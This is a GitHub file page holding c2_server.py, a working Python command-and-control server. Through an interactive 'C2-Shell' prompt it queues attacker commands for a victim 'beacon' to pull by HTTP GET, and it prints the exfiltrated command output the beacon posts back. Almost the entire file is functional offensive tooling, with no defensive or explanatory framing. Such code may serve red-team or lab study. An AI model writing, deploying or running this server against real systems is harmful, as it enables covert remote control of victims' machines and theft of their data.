-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathc2_server.py
More file actions
75 lines (60 loc) · 2.56 KB
/
Copy pathc2_server.py
File metadata and controls
75 lines (60 loc) · 2.56 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
import http.server
import socketserver
import sys
# Define port to listen on
PORT = 8080
# Global variable to hold the next command for the beacon (victim)
current_command = "NONE"
class C2Handler(http.server.BaseHTTPRequestHandler):
global current_command
# Silence standard HTTP logging to keep output clean
def log_message(self, format, *args):
return
# Handle incoming GET requests (Beacon checking in for a command)
def do_GET(self):
global current_command
self.send_response(200)
self.send_header("Content-type", "text/plain")
self.end_headers()
# If a command is waiting, send it to the beacon
if current_command != "NONE":
self.wfile.write(bytes(current_command, "utf-8"))
current_command = "NONE" # Reset after sending
else:
self.wfile.write(bytes("NONE", "utf-8"))
# Handle incoming POST requests (Beacon returning command execution results)
def do_POST(self):
content_length = int(self.headers['Content-Length'])
post_data = self.rfile.read(content_length).decode('utf-8')
print("\n[+] Exfiltrated Output From Target:")
print("-" * 40)
print(post_data)
print("-" * 40)
self.send_response(200)
self.end_headers()
def run_server():
global current_command
# Allow address reuse to prevent "Address already in use" errors during testing
socketserver.TCPServer.allow_reuse_address = True
with socketserver.TCPServer(("", PORT), C2Handler) as httpd:
print(f"[*] C2 Server active on port {PORT}...")
print("[*] Waiting for beacon connections. Type 'exit' to quit.")
# Interactive loop to take attacker commands
while True:
try:
# Prompt the attacker for the next command
cmd = input("\nC2-Shell> ")
if cmd.lower() == 'exit':
print("[*] Shutting down listener...")
sys.exit(0)
if cmd.strip():
current_command = cmd
print(f"[*] Command '{cmd}' queued. Waiting for next beacon check-in...")
# 1. Process the GET request to drop the command payload
httpd.handle_request()
# 2. Immediately process the tracking POST request returning the results
httpd.handle_request()
except KeyboardInterrupt:
break
if __name__ == "__main__":
run_server()